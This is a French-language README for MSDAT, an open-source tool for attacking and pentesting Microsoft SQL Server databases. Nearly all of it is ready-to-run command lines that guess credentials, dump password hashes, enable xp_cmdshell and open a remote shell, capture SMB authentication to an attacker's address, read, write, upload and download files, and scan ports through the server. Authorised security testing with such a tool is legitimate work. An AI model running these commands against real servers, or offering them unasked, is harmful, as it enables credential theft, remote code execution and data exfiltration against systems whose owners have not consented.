
MSDAT: Outil d'attaque de base de données Microsoft SQL
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) est un outil de test d'intrusion open source qui teste la sécurité des bases de données Microsoft SQL à distance.
Exemples d'utilisation de MSDAT :
Testé sur les bases de données Microsoft SQL 2005, 2008, 2012, 2014, 2016 et 2019.
Grâce à MSDAT (Microsoft SQL Database Attacking Tool), vous pouvez (liste non exhaustive) :
Certaines dépendances doivent être installées pour exécuter MSDAT.
Sous ubuntu :
sudo apt-get install freetds-dev
ou téléchargez freetds sur http://www.freetds.org/
Installer les dépendances Python :
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
ou
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Ajoutez "use ntlmv2 = yes" dans votre fichier de configuration freetds (ex : /etc/freetds/freetds.conf ou /usr/local/etc/freetds.conf).
Exemple :
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
Vous pouvez savoir si un module spécifique peut être utilisé sur un serveur MSSQL grâce à l'option --test-module. Cette option est implémentée dans chaque module mdat.
Le module all vous permet d'exécuter tous les modules (dépend des options que vous avez fournies).
python msdat.py all -s $SERVER
Si vous souhaitez :
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
Dans chaque module, vous pouvez définir le jeu de caractères à utiliser avec l'option --charset.
Pour obtenir des informations techniques sur un serveur MSSQL distant sans être authentifié :
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Ce module utilise le protocole TDS et le serveur de navigation SQL pour obtenir des informations.
Ce module vous permet de rechercher des identifiants valides :
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
L'option --force-retry permet de tester plusieurs mots de passe pour chaque utilisateur sans vous demander
Vous pouvez spécifier votre propre fichier de comptes avec l'option --accounts-file :
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Pour extraire les mots de passe hachés :
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Ce module a été testé sur SQL Server 2000, 2005, 2008 et 2014.
Pour exécuter des commandes système grâce à xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx) :
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Cette commande précédente vous donne un shell interactif sur le serveur de base de données distant.
Si xp_cmdshell n'est pas activé, l'option --enable-xpcmdshell peut être utilisée dans ce module pour l'activer :
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
L'option --enable-xpcmdshell active xp_cmdshell s'il n'est pas activé (non activé par défaut).
L'option --disable-xpcmdshell désactive xp_cmdshell s'il est activé.
Grâce à ce module, vous pouvez capturer une authentification SMB :
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Pour capturer l'authentification SMB, le module auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit peut être utilisé :
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
La commande capture de ce module essaie de capturer une authentification SMB grâce à la procédure xp_dirtree, xp_fileexist ou xp-getfiledetails.
Si vous souhaitez choisir la procédure d'authentification SMB pour capturer l'authentification :
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Vous pouvez changer le nom du PARTAGE avec l'option --share-name.
Ce module peut être utilisé pour lire/écrire des fichiers sur le serveur de base de données.
La commande suivante lit le fichier temp.txt stocké sur le serveur de base de données :
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Pour écrire une chaîne dans un fichier (temp.txt) à distance :
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Ce module peut être utilisé pour télécharger un fichier (C:\Users\Administrator\Desktop\temp.txt) stocké sur le serveur de base de données :
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
De plus, vous pouvez utiliser ce module pour téléverser un fichier (temp.txt) sur la cible :
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
Le module bulkopen peut être utilisé :
Pour lire un fichier stocké sur la cible, la commande suivante peut être utilisée :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
L'option --method peut être utilisée pour spécifier la méthode à utiliser :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Pour télécharger un fichier (C:\Users\Administrator\Desktop\temp.txt) :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Ce module peut être utilisé pour scanner des ports (1433 et 1434 de 127.0.0.1) à travers le serveur de base de données :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Vous pouvez scanner une plage de ports :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Ce module peut être utilisé pour exécuter des requêtes SQL (ex : select @@ServerName) sur un serveur de base de données distant (ex : $SERVER2) à travers la base de données ($SERVER) :
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Le module xpdirectory peut être utilisé :
Pour lister les fichiers dans un répertoire spécifique :
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Pour lister les répertoires dans un répertoire spécifique :
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Pour lister les disques :
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Pour vérifier si un fichier existe :
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Pour créer un répertoire :
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
Le module search peut être utilisé pour rechercher un motif dans les noms de colonnes des tables et des vues. Utile pour rechercher le motif %password% dans les noms de colonnes par exemple.
Pour obtenir les noms de colonnes qui contiennent des motifs de mot de passe (ex : passwd, password, motdepasse, clave) :
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si vous souhaitez voir les noms de colonnes qui ne contiennent pas de données, vous devez utiliser l'option --show-empty-columns.
Pour rechercher un motif spécifique dans les noms de colonnes des vues et des tables :
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si vous souhaitez soutenir mon travail en faisant un don, je l'apprécierai beaucoup :